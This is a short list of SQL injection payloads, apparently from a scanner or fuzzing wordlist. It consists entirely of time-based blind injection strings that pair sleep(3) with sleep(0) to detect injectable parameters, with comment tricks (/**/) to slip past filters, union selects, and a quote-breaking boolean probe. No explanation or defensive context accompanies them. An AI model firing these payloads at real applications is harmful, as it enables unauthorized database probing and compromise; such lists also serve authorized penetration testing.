123456'and(select*from(select+sleep(3))a/**/union/**/select+1)='

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

(select*from(select+sleep(3)union/**/select+1)a)

(select*from(select+sleep(0)union/**/select+1)a)

123456"and"b"="p